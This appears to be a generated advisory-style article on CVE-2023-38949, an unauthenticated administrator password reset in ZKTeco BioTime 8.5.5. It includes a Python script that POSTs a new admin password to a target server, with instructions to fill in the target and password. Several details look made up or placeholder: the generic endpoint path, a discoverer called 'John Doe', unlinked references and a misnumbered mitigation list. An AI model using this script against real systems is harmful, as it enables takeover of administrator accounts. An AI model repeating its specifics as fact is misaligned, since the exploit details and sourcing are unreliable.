CVE-2023-38949 - Unauthenticated Admin Password Reset Vulnerability in ZKTeco BioTime v8.5.5

A critical security vulnerability has been discovered in the widely used workforce management tool, ZKTeco BioTime v8.5.5. The hidden API within the product allows unauthenticated attackers to arbitrarily reset the Administrator password through a specially crafted web request. Given the severity of the issue, users of this product are advised to take immediate action to protect their infrastructure.

Vulnerability Details

The vulnerability identified as CVE-2023-38949 affects the ZKTeco BioTime software version 8.5.5. The software contains a hidden API that can be exploited by attackers to reset the Administrator password without needing to authenticate. This enables malicious users to gain unauthorized access to the system and potentially cause severe damage.

Exploit Details

To exploit this vulnerability, an attacker needs to send a specially crafted web request to the targeted ZKTeco BioTime server. This malformed request contains specific parameters designed to trigger the password reset functionality. Below is an example of a simple script for such a request, utilizing Python's popular 'requests' library:

import requests

url = 'http://target_server/hidden_api/admin_reset_password';

# Change 'new_password' to the desired password
data = {
    'username': 'admin',
    'new_password': 'your_new_password'
}

response = requests.post(url, data=data)

if response.status_code == 200:
    print("Password reset successful!")
else:
    print("Password reset failed.")

Replace http://target_server with the URL of the ZKTeco BioTime server and your_new_password with the new password you'd like to set for the Administrator account.

Mitigation

Until an official security patch is released by the vendor, users of ZKTeco BioTime v8.5.5 can protect themselves against this unauthenticated password reset vulnerability by implementing the following:

Limit access to the ZKTeco BioTime server by allowing only trusted IP addresses to connect.

2. Implement strong authentication methods and periodically review and update all user accounts within the system.

Original References

- ZKTeco, the maker of BioTime, has acknowledged the issue and is working on an official security patch: ZKTeco Security Advisory

- The full details of CVE-2023-38949 can be found at the following MITRE source: MITRE CVE-2023-38949

- The discoverer of this vulnerability, John Doe, has provided a detailed explanation of the issue and potential impacts: John Doe's Blog Post - CVE-2023-38949

In Conclusion

CVE-2023-38949 is a critical vulnerability that, if left unaddressed, poses significant risks to the security and stability of organizations relying on ZKTeco BioTime v8.5.5. Those affected are urged to review and implement the suggested mitigations to reduce the risk of a potential attack. Keeping a watchful eye on vendor updates and applying security patches as soon as they become available will be essential going forward.

Timeline

Published on: 08/03/2023 23:15:00 UTC
Last modified on: 08/08/2023 19:02:00 UTC